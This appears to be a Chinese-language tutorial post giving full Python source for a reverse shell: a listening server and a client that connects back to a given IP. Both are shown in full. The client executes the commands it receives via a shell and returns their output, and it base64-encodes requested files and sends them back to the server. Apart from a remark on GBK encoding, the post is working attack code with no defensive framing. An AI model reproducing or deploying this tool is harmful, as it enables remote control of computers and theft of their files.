反向Shell的服务端与客户端代码实现文件下载（二进制文件比如图片）以及命令执行，需要执行字符编码的问题

　　本代码非常注意的一点是，client端的subprocess.check_output方法中需要指定encoding='gbk',否则执行错误。

服务器端代码：

import socket
import json
import optparse
import threading
import sys
import base64


class TCPServer:
    def __init__(self) -> None:
        self.port = self.get_params()
        self.server_s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.server_s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.server_s.bind(('0.0.0.0',self.port))
        self.server_s.listen(5)
        print("[-] Waiting for connections...")
    

    def get_params(self):
        parser = optparse.OptionParser("Usage: <Program> -p port")
        parser.add_option('-p','--port',dest='port', type='int', help="Specify listener port")
        options,args = parser.parse_args()
        if options.port is None:
            print(parser.usage)
            sys.exit(0)
        if options.port > 65535 or options.port < 0:
            print("Enter valide port")
            sys.exit(0)
        return options.port
    
    def reliable_send(self,client_s, data):
        try:
            
            client_s.send(json.dumps(data).encode('utf-8'))
        except Exception as e:
            print(e)

    def reliable_recv(self,client_s):
        recv_data = ""
        while True:
            try:
                recv_data = recv_data + client_s.recv(1024).decode('utf-8')
                return json.loads(recv_data)
            except ValueError:
                continue
    """
    cd path
    """
    def client_handler(self,client_s):
        while True:
                command = input("# ")     
                self.reliable_send(client_s, command)        
                
                if command == 'q':
                    break    
                elif command[0:8] == 'download':
                    try:
                        filename = command[9:]
                        with open(filename, 'wb') as f:
                            data = self.reliable_recv(client_s)
                            de_str_data = base64.b64decode(data)
                            f.write(de_str_data)   
                    except Exception as e:
                        print(e)  

                else:
                     
                    recv_data = self.reliable_recv(client_s)
                    print(recv_data)
        client_s.close()


    def run(self):
        try:
            while True:
                client_s, client_addr = self.server_s.accept()
                print('~Connected from %s' % str(client_addr))
                t = threading.Thread(target=self.client_handler, args=(client_s,))
                t.start()
        except KeyboardInterrupt:
            self.server_s.close()
            print("Exit the program")
            sys.exit(0)
        except Exception as e:
            print(e)



if __name__ == "__main__":
    tcp_server = TCPServer()
    tcp_server.run()

 

客户端代码：

import socket
import json
import optparse
import sys
import subprocess
import os
import base64



class TCPClient:
    def __init__(self) -> None:
        self.target = self.get_params()[0]
        self.port = self.get_params()[1]
        self.client_s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.client_s.connect((self.target, self.port))
    

    def get_params(self):
        parser = optparse.OptionParser("Usage: <Program> -p port")
        parser.add_option('-p','--port',dest='port', type='int', help="Specify  server port")
        parser.add_option('-t', '--target', dest='target', type='string', help="Specify server IP address")
        options,args = parser.parse_args()
        if options.port is None or options.target is None:
            print(parser.usage)
            sys.exit(0)
      
        return options.target, options.port
    
    def reliable_send(self,data):
        self.client_s.send(json.dumps(data).encode('utf-8'))

    def reliable_recv(self):
        recv_data = ""
        while True:
            try:
                recv_data = recv_data + self.client_s.recv(1024).decode('utf-8')
                return json.loads(recv_data)
            except ValueError:
                continue    


    def run(self):
        try:
            while True:
                recv_data = self.reliable_recv()
                print(recv_data)

                if recv_data == 'q':
                    break
                elif recv_data[0:2] == 'cd':
                    if os.path.exists(recv_data[3:]):
                        os.chdir(recv_data[3:])
                        command_result = "Changed directory successfully"
                    else:
                        command_result = "The file does not exist"
                
                elif recv_data[0:8] == 'download':
                    filename = recv_data[9:]
                    if os.path.exists(filename):
                        with open(filename, 'rb') as f:
                            content = f.read()
                            content_bytes=base64.b64encode(content)
                        command_result  = content_bytes.decode('ascii')
                        print(command_result)
                    else:
                        command_result = 'The file does not exist'

                    
                    self.reliable_send(command_result)
                else:
                    try:

                        command_result = subprocess.check_output(recv_data, shell=True, stderr=subprocess.STDOUT,encoding='GBK')
                        # print(command_result)
                        
                    
                        self.reliable_send(command_result)
                    except Exception as e:
                        print(e)

                        pass
                
            self.client_s.close()
        except Exception as e:
            print(e)
            command_result = 'Failed to execute'
            self.reliable_send(command_result)



if __name__ == "__main__":
    client = TCPClient()
    client.run()